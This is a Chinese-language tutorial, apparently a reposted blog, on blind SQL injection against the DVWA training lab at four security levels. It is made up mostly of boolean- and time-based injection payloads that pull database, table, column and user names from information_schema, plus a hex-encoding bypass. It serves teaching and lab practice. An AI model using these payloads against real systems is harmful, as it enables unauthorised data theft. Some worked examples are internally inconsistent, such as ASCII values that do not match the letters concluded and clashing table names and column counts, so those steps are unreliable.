日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

DVWA--SQL Injection (盲注)--四个级别

發布時間:2023/12/31 数据库 48 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DVWA--SQL Injection (盲注)--四个级别 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

SQL盲注,其實和SQL注入差不多,只是比它難一點利用,注入時返回的數據只有正確和錯誤,并不會返回其他信息

索引目錄:

Low

Medium

High

Impossible

ASCII標準表


Low

源代碼: <?phpif( isset( $_GET[ 'Submit' ] ) ) {// Get input$id = $_GET[ 'id' ];// Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?>

is_null($var) : 檢測變量是否為 NULL
var 允許傳入任意參數
如果 var 是 null 則返回 TRUE,否則返回 FALSE
舉例:

<?php echo 'User ID exists in the database'."<br/>"; is_null(1) ? false : true; ?> /*結果: User ID exists in the database. */<?php echo 'User ID exists in the database.'."<br/>"; echo(is_null(1) ? false : true); ?> /*結果: User ID exists in the database. 1 */<?php echo 'User ID exists in the database.'."<br/>"; echo(is_null(null) ? false : true); ?> /*結果: User ID exists in the database. */

從例子中可以看出,is_null()僅僅是判斷它是否為空,你不輸出它,它不會返回任何值,如果輸出,僅僅只會返回null(也就是false)或1

@mysqli_num_rows ():
函數返回結果集中行的數量,這里前面加上了@,所以如果mysqli_num_rows ()執行錯誤,那么也不會返回錯誤信息,將會返回0
注:這里的結果集必須是sql成功執行的,sql語句執行失敗的錯誤返回信息不是結果集(個人理解)

substr(str, pos, len): SQL語句
在str中從pos開始的位置(起始位置為1),截取len個字符
這個sql中的substr和php中的substr用法差不多,只是php中的第二個參數(pos這個位置的參數)起始位置為0
str參數:必選。數據庫中需要截取的字段。
pos參數:必選。正數,從字符串指定位子開始截取;負數,從字符串結尾指定位子開始截取;1,在字符串中第一個位子開始截取;0,大部分數據庫不從0起始,都是從1起始,特殊除外。
len參數:可選。需要截取的長度。缺省,即截取到結束位置。

ord: SQL語句
負責將相應的字符轉換成ASCII碼

mid(參數1,參數2,參數3):
在參數1的字符串中從參數2的指定的位置開始(起始位置為1),截取數量為參數3數值的字符串
和substr的用法一模一樣,只是substr參數2的起始位置為0

limit:
limit m :檢索前m行數據,顯示1-10行數據(m>0)
limit(x,y):檢索從x+1行開始的y行數據,顯示第x+1到y行的數據

select * from Customer limit 1 #檢索前10行數據,顯示1-10條數據 select * from Customer limit 10 #檢索前10行數據,顯示1-10條數據 select * from Customer limit (0,1) #檢索從第1行開始的1條數據,顯示第1行數據 select * from Customer limit (1,2) #檢索從第2行開始的2條數據,,顯示第2-3行數據 select * from Customer limit (5,3) #檢索從第6行開始的3條數據,顯示第6-8行數據 select * from Customer limit (6,4) #檢索從第7行開始的4條數據,就是顯示第7-10行數據

Low級別SQL盲注的代碼和普通SQL注入的代碼差不多,只是你進行注入它不會顯示任何數據信息,只會顯示你的語句是否執行成功。
sql語句執行成功,并返回大于等于一行結果,輸出:User ID exists in the database
sql語句執行失敗,$_SERVER[ ‘SERVER_PROTOCOL’ ] . ’ 404 Not Found’
User ID is MISSING from the database


主要套路:首先猜解數量,再先猜解長度,最后猜解該長度中每個字符的值,也就是它的名字

1.判斷是否存在注入,注入是字符型還是數字型
輸入'

輸入1

輸入1 and 1=1

輸入1 and 1=2

經過上面四幅圖的判斷,我們可以肯定這里存在sql注入漏洞,且為字符型注入

2.猜解當前數據庫名

  • 想要猜解數據庫名,首先要猜解數據庫名的長度,然后再挨個猜解字符

輸入1' and length(database())=1#,顯示不存在:

輸入1' and length(database())=2#,顯示不存在:

輸入1' and length(database())=3#,顯示不存在:

輸入1' and length(database())=4#,顯示存在:

從以上四幅圖可以看出,源代碼的sql查詢語句中字段所屬數據庫長度是4,也就是4個字符

  • 下面采用二分法猜解數據庫名,使用ASCII猜解,ASCII數值范圍慢慢地縮小

猜解源代碼的sql查詢語句中字段所屬數據庫的第一個字符

1' and ascii(substr(database(),1,1))>97 #,顯示存在,說明數據庫名的第一個字符的ascii值大于97(小寫字母a的ascii值) 1' and ascii(mid(database(),1,1))<122 #,顯示存在,說明數據庫名的第一個字符的ascii值小于122(小寫字母z的ascii值)之后縮小ascii范圍,可以取中間值 1' and ascii(substr(database(),1,1))<110 #,顯示存在,說明數據庫名的第一個字符的ascii值小于110(小寫字母n的ascii值) 1' and ascii(substr(database(),1,1))<105 #,顯示存在,說明數據庫名的第一個字符的ascii值小于105(小寫字母i的ascii值) 1' and ascii(substr(database(),1,1))<100 #,顯示不存在,說明數據庫名的第一個字符的ascii值大于等于100(小寫字母d的ascii值)所以范圍縮小到100<=數據庫名的第一個字符的ascii值<105,所以我們接下來測試103 1' and ascii(substr(database(),1,1))<103 #,顯示存在,說明數據庫名的第一個字符的ascii值小于103(小寫字母g的ascii值) 1' and ascii(substr(database(),1,1))<102 #,顯示存在,說明數據庫名的第一個字符的ascii值小于102(小寫字母f的ascii值) 1' and ascii(substr(database(),1,1))<101 #,顯示存在,說明數據庫名的第一個字符的ascii值小于101(小寫字母e的ascii值)范圍再一次縮小,100<=數據庫名的第一個字符的ascii值<101,此時只有100符合了,我們試試看 1' and ascii(substr(database(),1,1))=101 #,顯示存在,說明數據庫名的第一個字符的ascii值等于100(小寫字母d的ascii值) 因此數據庫名的第一個字符的ascii值等于101,就是字符d

除了ascii和substr搭配,還有其他函數的搭配方法,ord和mid,這四種函數也可以混用,舉例:

1' and ascii(MID(database(),1,1))=100 #,顯示存在,說明數據庫名的第一個字符的ascii值等于100(小寫字母d的ascii值) 1' and ord(substr(database(),1,1))=100 #,顯示存在,說明數據庫名的第一個字符的ascii值等于100(小寫字母d的ascii值) 1' and ord(MID(database(),1,1))=100 #,顯示存在,說明數據庫名的第一個字符的ascii值等于100(小寫字母d的ascii值)

根據這樣的方法繼續猜解源代碼的sql查詢語句中字段所屬數據庫的第二個字符

1' and ascii(substr(database(),2,1))>97 #,顯示存在,說明數據庫名的第二個字符的ascii值大于97(小寫字母a的ascii值) 1' and ascii(substr(database(),2,1))<122 #,顯示存在,說明數據庫名的第二個字符的ascii值小于122(小寫字母z的ascii值) 1' and ascii(substr(database(),2,1))<110 #,顯示不存在,說明數據庫名的第二個字符的ascii值大于等于110(小寫字母n的ascii值) 1' and ascii(substr(database(),2,1))<115 #,顯示不存在,說明數據庫名的第二個字符的ascii值大于等于115(小寫字母s的ascii值) 1' and ascii(substr(database(),2,1))<120 #,顯示存在,說明數據庫名的第二個字符的ascii值小于120(小寫字母x的ascii值) 從以上5次測試,我們把范圍縮小到了115<=數據庫名的第二個字符的ascii值<120 1' and ascii(substr(database(),2,1))<118 #,顯示不存在,說明數據庫名的第二個字符的ascii值大于等于118(小寫字母v的ascii值) 1' and ascii(substr(database(),2,1))<119 #,顯示存在,說明數據庫名的第二個字符的ascii值小于119(小寫字母w的ascii值) 最后范圍縮小成118<=數據庫名的第二個字符的ascii值<119,因此只能等于118,我們來測試一下 1' and ascii(substr(database(),2,1))=118 #,顯示存在,說明數據庫名的第二個字符的ascii值等于120(小寫字母v的ascii值) 因此數據庫名的第二個字符的ascii值等于118,就是字符v

之后繼續用相同的方法猜解第三個,第四個字符,最后得到源代碼的sql查詢語句中字段所屬數據庫為dvwa

3.猜解數據庫中的表名
首先猜解數據庫中表的數量:

1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #,顯示不存在 1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #,顯示存在

從以上猜解,我們得知這個dvwa庫里一共有兩個表
那么接下來我們猜解這個庫里的表名分別是什么
首先來猜解第一個表的長度:

首先猜解它的長度是否為1,顯示不存在,說明長度不是1 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #再猜解它的長度是否為2,顯示不存在,說明長度不是2 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #再猜解它的長度是否為3,顯示不存在,說明長度不是3 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=3 #再猜解它的長度是否為4,顯示不存在,說明長度不是4 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4 #再猜解它的長度是否為5,顯示不存在,說明長度不是5 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=5 #再猜解它的長度是否為6,顯示不存在,說明長度不是6 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6 #再猜解它的長度是否為7,顯示不存在,說明長度不是7 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=7 #再猜解它的長度是否為8,顯示不存在,說明長度不是8 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=8 #再猜解它的長度是否為9,顯示存在,說明是9 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #最后我們知道第一個表的長度是9

我們再來猜解第一個表的第一個字符:

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在,說明dvwa數據庫中第一個表名的第一個字符的ascii值大于97(小寫字母a的ascii值)1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在,說明dvwa數據庫中第一個表名的第一個字符的ascii值小于122(小寫字母z的ascii值)1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<110 # 顯示存在,說明dvwa數據庫中第一個表名的第一個字符的ascii值小于97(小寫字母n的ascii值)1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<105 # 顯示存在,說明dvwa數據庫中第一個表名的第一個字符的ascii值小于105(小寫字母i的ascii值)1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<100 # 顯示不存在,說明dvwa數據庫中第一個表名的第一個字符的ascii值大于等于100(小寫字母d的ascii值)1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在,說明dvwa數據庫中第一個表名的第一個字符的ascii值大于等于103(小寫字母g的ascii值)1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<104 # 顯示存在,說明dvwa數據庫中第一個表名的第一個字符的ascii值小于104(小寫字母h的ascii值) 最后,104<=dvwa數據庫中第一個表名的第一個字符的ascii值<104,所以只能等于1041' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104 # 顯示存在,說明dvwa數據庫中第一個表名的第一個字符的ascii值等于104(小寫字母g的ascii值) 因此第一個表的第一個字符為g

依照猜解第一個表的第一個字符,我們就可以同理猜解出第二個,第三個,一直到第九個,最后,這第一個表名為guestsbook

同理再來猜解第二個表的長度和表名:最后得出第二個表的長度為5,表明為users

4.猜解表中的字段名
我們這里以猜解users為例,因為這個表內容可能是敏感數據

  • 首先猜解表中字段的數量,這里是查看users表中所有的字段,不僅限于dvwa數據庫里的users,也包括其他庫里的users
首先猜解users表中字段是否是1個,顯示不存在 1' and (select count(column_name) from information_schema.columns where table_name='users')=1 #再猜解users表中字段是否是2個,顯示不存在 1' and (select count(column_name) from information_schema.columns where table_name='users')=2 #再猜解users表中字段是否是3個,顯示不存在 1' and (select count(column_name) from information_schema.columns where table_name='users')=3 #再猜解users表中字段是否是4個,顯示不存在 1' and (select count(column_name) from information_schema.columns where table_name='users')=4 #再猜解users表中字段是否是5個,顯示不存在 1' and (select count(column_name) from information_schema.columns where table_name='users')=5 #再猜解users表中字段是否是6個,顯示不存在 1' and (select count(column_name) from information_schema.columns where table_name='users')=6 #再猜解users表中字段是否是7個,顯示不存在 1' and (select count(column_name) from information_schema.columns where table_name='users')=7 #再猜解users表中字段是否是8個,顯示不存在 1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #再猜解users表中字段是否是9個,顯示不存在 1' and (select count(column_name) from information_schema.columns where table_name='users')=9 #再猜解users表中字段是否是10個,顯示不存在 1' and (select count(column_name) from information_schema.columns where table_name='users')=10 #再猜解users表中字段是否是11個,顯示存在 1' and (select count(column_name) from information_schema.columns where table_name='users')=11 #因此,users表中的字段數量為11個

我們也可以用二分法判斷,下面就示例三句,和前面的猜解表的字符原理差不多,就不具體演示了

顯示不存在 1' and (select count(column_name) from information_schema.columns where table_name='users')>1 #顯示不存在 1' and (select count(column_name) from information_schema.columns where table_name='users')>100 #...省略其他猜解過程顯示存在 1' and (select count(column_name) from information_schema.columns where table_name='users')=11 #
  • 其次我們挨個猜解users表中的字段名
    首先我們猜解第一個字段的長度
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 # 顯示不存在,說明第一個字段的長度不是11' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=2 # 顯示不存在,說明第一個字段的長度不是21' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=3 # 顯示不存在,說明第一個字段的長度不是31' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=4 # 顯示不存在,說明第一個字段的長度不是41' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=5 # 顯示不存在,說明第一個字段的長度不是51' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=6 # 顯示不存在,說明第一個字段的長度不是61' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7 # 顯示存在,說明第一個字段的長度是7因此,說明users表中11個字段中的第一個字段名有7個字符

接下來我們猜解第一個字段的名字(先猜解第一個字段的第一個字符ascii碼)

1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>97 # 顯示存在,說明users表的第一個字段的第一個字符的ascii值大于97(小寫字母a的ascii值)1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<122 # 顯示存在,說明users表的第一個字段的第一個字符的ascii值小于(小寫字母z的ascii值)1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<110 # 顯示不存在,說明users表的第一個字段的第一個字符的ascii值大于等于110(小寫字母n的ascii值)1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<115# 顯示不存在,說明users表的第一個字段的第一個字符的ascii值大于等于115(小寫字母s的ascii值)1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<118# 顯示存在,說明users表的第一個字段的第一個字符的ascii值小于118(小寫字母v的ascii值)1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<116 # 顯示不存在,說明users表的第一個字段的第一個字符的ascii值大于等于116(小寫字母t的ascii值)1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<117 # 顯示不存在,說明users表的第一個字段的第一個字符的ascii值大于等于117(小寫字母u的ascii值) 因此,我們最后得到117<=users表的第一個字段的第一個字符的ascii值<118,所以,數據庫名的第一個字符的ascii值是1171' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117 # 顯示存在,說明users表的第一個字段的第一個字符的ascii值等于117(小寫字母u的ascii值),也就是第一個字符為u緊接著,同理我們可以猜出第二個,第三個,一直到第七個字符 最后猜解出users表的第一個字段的字段名是user_id同理我們也可以猜出第二個,第三個,第四個直到第十一個字段名是first_name,ast_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

這里我們再介紹一種憑經驗猜解字段名稱的

1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 # 返回存在,說明存在dvwa的users表中有名稱為password的字段

5.猜解數據
這里我們就選擇猜解user這個字段的數據

  • 首先猜解user這個字段中數據的數量
    暫時沒想到

  • 其次我們猜解user字段中第一個數據的長度

1' and length(substr((select user from users limit 0,1),1))=1 # 顯示不存在 1' and length(substr((select user from users limit 0,1),1))=2 # 顯示不存在 1' and length(substr((select user from users limit 0,1),1))=3 # 顯示不存在 1' and length(substr((select user from users limit 0,1),1))=4 # 顯示不存在 1' and length(substr((select user from users limit 0,1),1))=5 # 顯示存在,說明user字段中第一個數據的長度為5同理我們這樣也可以修改參數猜解第二個等等第幾個數據的長度
  • 最后我們猜解user字段中第一個數據的名稱(字符值,也可以說成字符名稱)
首先猜解user字段中第一個數據名稱的第一個字符1' and ascii(substr((select user from users limit 0,1),1,1))>97 # 顯示不存在,說明user字段中第一個數據名稱的第一個字符小于等于971' and ascii(substr((select user from users limit 0,1),1,1))<96 # 顯示不存在,說明user字段中第一個數據名稱的第一個字符大于等于96因此,96<=user字段中第一個數據名稱的第一個字符<=971' and ascii(substr((select user from users limit 0,1),1,1))=96 # 顯示不存在,說明user字段中第一個數據名稱的第一個字符不等于961' and ascii(substr((select user from users limit 0,1),1,1))=97 # 顯示存在,說明user字段中第一個數據名稱的第一個字符等于97所以,user字段中第一個數據名稱的第一個字符是a 同理我們也可以得到第二個,第三個直到第五個字符,最后user字段中第一個數據名稱是admin 利用這種方法我們也可以繼續猜解第二個數據,我就不演示了

Medium

源代碼: <?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}//mysql_close(); }?>

Medium級別的代碼使用了mysqli_real_escape_string轉義NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入
但是我們依舊可以通過抓包修改id并構造sql語句進行注入

從源代碼看出這里是數字型注入
基于布爾的盲注和前面Low級別基于布爾的盲注差不多,把單引號去掉就好了,這里就不贅述了

接下來我們重點來了解一下基于時間的盲注

sq中的if函數用法:
IF( expr1 , expr2 , expr3 )
expr1 的值為 TRUE,則返回值為 expr2
expr2 的值為FALSE,則返回值為 expr3

  • 這里的盲注就采用了這種方法(這里的都是在burpsuite中抓包后修改包的內容進行注入)
    對于 if(判斷條件,sleep(n),1) 函數而言,若判斷條件為真,則執行sleep(n)函數,達到在正常響應時間的基礎上再延遲響應時間n秒的效果;若判斷條件為假,則返回設置的1(真,就是true),此時不會執行sleep(n)函數
1 and if(length(database())=1,sleep(6),1) # 沒有延遲6s,所以sql查詢語句中的字段所屬數據庫長度不等于11 and if(length(database())=2,sleep(6),1) # 沒有延遲6s,所以sql查詢語句中的字段所屬數據庫長度不等于21 and if(length(database())=3,sleep(6),1) # 沒有延遲6s,所以sql查詢語句中的字段所屬數據庫長度不等于31 and if(length(database())=4,sleep(6),1) # 延遲6s后才顯示信息,所以sql查詢語句中的字段所屬數據庫長度等于4
  • 接下來我們就就猜測這個數據庫的4個長度第一個字符是什么
1 and if(ascii(substr(database(),1,1))>97,sleep(6),1) # 延遲6s,說明第一個字符的ascii值大于97(小寫字母a的ascii值)1 and if(ascii(substr(database(),1,1))<122,sleep(6),1) # 延遲6s,說明第一個字符的ascii值小于122(小寫字母z的ascii值)1 and if(ascii(substr(database(),1,1))<110,sleep(6),1) # 延遲6s,說明第一個字符的ascii值小于110(小寫字母n的ascii值)1 and if(ascii(substr(database(),1,1))<105,sleep(6),1) # 延遲6s,說明第一個字符的ascii值小于105(小寫字母i的ascii值)1 and if(ascii(substr(database(),1,1))<100,sleep(6),1) # 沒有延遲6s,說明第一個字符的ascii值大于等于100(小寫字母d的ascii值) 所遇我們縮小一下范圍,100<=第一個字符的ascii值<1051 and if(ascii(substr(database(),1,1))<103,sleep(6),1) # 延遲6s,說明第一個字符的ascii值小于103(小寫字母g的ascii值)1 and if(ascii(substr(database(),1,1))<101,sleep(6),1) # 延遲6s,說明第一個字符的ascii值小于101(小寫字母e的ascii值) 這時,我們再縮小一下范圍,100<=第一個字符的ascii值<101,所以此時只能等于100,我們來測試一下1 and if(ascii(substr(database(),1,1))=100,sleep(6),1) # 延遲6s,說明第一個字符的ascii值等于100(小寫字母d的ascii值),所以,最終第一個字符的ascii值等于100,字符d按照這樣的步驟我們可以猜出其它字符,最后猜解出這個數據庫名為dvwa
  • 其次我們再猜解dvwa數據庫中有多少表
1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(6),1) # 延遲6s,說明dvwa有兩個表

猜解dvwa庫中有幾張表(時間盲注法)

1 and if((select count(table_name) from information_schema.tables where table_schema=0x64767761)=2,sleep(6),1) #

以0x開始的數據表示16進制,使用16進制,引號可以省略

  • 接下來我們猜測dvwa數據庫中第一個表名的長度
1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(6),1) # 沒有延遲6s,所以長度不是11 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2,sleep(6),1) # 沒有延遲6s,所以長度不是21 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=3,sleep(6),1) # 沒有延遲6s,所以長度不是31 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4,sleep(6),1) # 沒有延遲6s,所以長度不是41 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=5,sleep(6),1) # 沒有延遲6s,所以長度不是51 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6,sleep(6),1) # 沒有延遲6s,所以長度不是61 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=7,sleep(6),1) # 沒有延遲6s,所以長度不是71 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=8,sleep(6),1) # 沒有延遲6s,所以長度不是81 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(6),1) # 有延遲6s,所以長度是9 因此,dvwa數據庫中第一個表名的長度是9
  • 再然后我們就要猜解這第一個表的表名了在,因為方法和Low級別差不多,我下面都簡單寫出主要時間盲注的語句,參照它即可
先猜測這個表名的第一個字符 ...省略測試過程,直接寫結果了 1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103,sleep(6),1) # 延時6s,說明這個表名的第一個字符為g 之后只需要修改limit參數,最后得出這個表明為guestbook
  • 再接下來我們就要猜解這個表名里的字段數量(這里就不寫了,原理和low級別一樣的,只是加入了if(參數1,sleep(6),1)
    猜解dvwa數據庫中的users表中有幾個字段(時間盲注法,繞過過濾),與前面沒有指定數據庫的返回數量是不同的
1 and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8,sleep(6),1) #
  • 再猜解字段的長度
  • 再猜解字段名
  • 再猜解字段值的數量(這個我沒有解決,歡迎朋友們告知)
  • 再猜解字段其中一個值的長度
  • 再猜解字段其中一個值的名稱

High

源代碼: <?phpif( isset( $_COOKIE[ 'id' ] ) ) {// Get input$id = $_COOKIE[ 'id' ];// Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// Might sleep a random amountif( rand( 0, 5 ) == 3 ) {sleep( rand( 2, 4 ) );}// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?>

High級別的代碼利用cookie傳遞參數id,當SQL查詢結果為空時,會執行函數sleep(seconds)函數,目的是為了擾亂基于時間的盲注。同時在 SQL查詢語句中添加了LIMIT 1,以此控制只輸出一個結果。因此我們注入只能選擇利用基于布爾的注入
利用方法和前面的Low級別差不多,這里就不多說了,也是在burpsuite里進行抓包注入

Impossible

源代碼: <?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();// Get resultsif( $data->rowCount() == 1 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}} }// Generate Anti-CSRF token generateSessionToken();?>

1.Impossible級別的代碼采用了PDO技術,劃清了代碼與數據的界限,有效防御SQL注入
2.只有當返回的查詢結果數量為一個記錄時,才會成功輸出,這樣就有效預防了暴庫
3.Anti-CSRF token機制的加入了進一步提高了安全性,session_token是隨機生成的動態值,每次向服務器請求,客戶端都會攜帶最新從服務端已下發的session_token值向服務器請求作匹配驗證,相互匹配才會驗證通過

參考文檔:
https://www.freebuf.com/articles/web/120985.html
https://www.jianshu.com/p/757626cec742

ASCII標準表

Bin (二進制) Oct (八進制) Dec (十進制) Hex (十六進制) 縮寫/字符 解釋
0000 0000 00 0 0x00 NUL(null) 空字符
0000 0001 01 1 0x01 SOH(start of headline) 標題開始
0000 0010 02 2 0x02 STX (start of text) 正文開始
0000 0011 03 3 0x03 ETX (end of text) 正文結束
0000 0100 04 4 0x04 EOT (end of transmission) 傳輸結束
0000 0101 05 5 0x05 ENQ (enquiry) 請求
0000 0110 06 6 0x06 ACK (acknowledge) 收到通知
0000 0111 07 7 0x07 BEL (bell) 響鈴
0000 1000 010 8 0x08 BS (backspace) 退格
0000 1001 011 9 0x09 HT (horizontal tab) 水平制表符
0000 1010 012 10 0x0A LF (NL line feed, new line) 換行鍵
0000 1011 013 11 0x0B VT (vertical tab) 垂直制表符
0000 1100 014 12 0x0C FF (NP form feed, new page) 換頁鍵
0000 1101 015 13 0x0D CR (carriage return) 回車鍵
0000 1110 016 14 0x0E SO (shift out) 不用切換
0000 1111 017 15 0x0F SI (shift in) 啟用切換
0001 0000 020 16 0x10 DLE (data link escape) 數據鏈路轉義
0001 0001 021 17 0x11 DC1 (device control 1) 設備控制1
0001 0010 022 18 0x12 DC2 (device control 2) 設備控制2
0001 0011 023 19 0x13 DC3 (device control 3) 設備控制3
0001 0100 024 20 0x14 DC4 (device control 4) 設備控制4
0001 0101 025 21 0x15 NAK (negative acknowledge) 拒絕接收
0001 0110 026 22 0x16 SYN (synchronous idle) 同步空閑
0001 0111 027 23 0x17 ETB (end of trans. block) 結束傳輸塊
0001 1000 030 24 0x18 CAN (cancel) 取消
0001 1001 031 25 0x19 EM (end of medium) 媒介結束
0001 1010 032 26 0x1A SUB (substitute) 代替
0001 1011 033 27 0x1B ESC (escape) 換碼(溢出)
0001 1100 034 28 0x1C FS (file separator) 文件分隔符
0001 1101 035 29 0x1D GS (group separator) 分組符
0001 1110 036 30 0x1E RS (record separator) 記錄分隔符
0001 1111 037 31 0x1F US (unit separator) 單元分隔符
0010 0000 040 32 0x20 (space) 空格
0010 0001 041 33 0x21 ! 嘆號
0010 0010 042 34 0x22 " 雙引號
0010 0011 043 35 0x23 # 井號
0010 0100 044 36 0x24 $ 美元符
0010 0101 045 37 0x25 % 百分號
0010 0110 046 38 0x26 & 和號
0010 0111 047 39 0x27 ' 閉單引號
0010 1000 050 40 0x28 ( 開括號
0010 1001 051 41 0x29 ) 閉括號
0010 1010 052 42 0x2A * 星號
0010 1011 053 43 0x2B + 加號
0010 1100 054 44 0x2C , 逗號
0010 1101 055 45 0x2D - 減號/破折號
0010 1110 056 46 0x2E . 句號
0010 1111 057 47 0x2F / 斜杠
0011 0000 060 48 0x30 0 字符0
0011 0001 061 49 0x31 1 字符1
0011 0010 062 50 0x32 2 字符2
0011 0011 063 51 0x33 3 字符3
0011 0100 064 52 0x34 4 字符4
0011 0101 065 53 0x35 5 字符5
0011 0110 066 54 0x36 6 字符6
0011 0111 067 55 0x37 7 字符7
0011 1000 070 56 0x38 8 字符8
0011 1001 071 57 0x39 9 字符9
0011 1010 072 58 0x3A : 冒號
0011 1011 073 59 0x3B ; 分號
0011 1100 074 60 0x3C < 小于
0011 1101 075 61 0x3D = 等號
0011 1110 076 62 0x3E > 大于
0011 1111 077 63 0x3F ? 問號
0100 0000 0100 64 0x40 @ 電子郵件符號
0100 0001 0101 65 0x41 A 大寫字母A
0100 0010 0102 66 0x42 B 大寫字母B
0100 0011 0103 67 0x43 C 大寫字母C
0100 0100 0104 68 0x44 D 大寫字母D
0100 0101 0105 69 0x45 E 大寫字母E
0100 0110 0106 70 0x46 F 大寫字母F
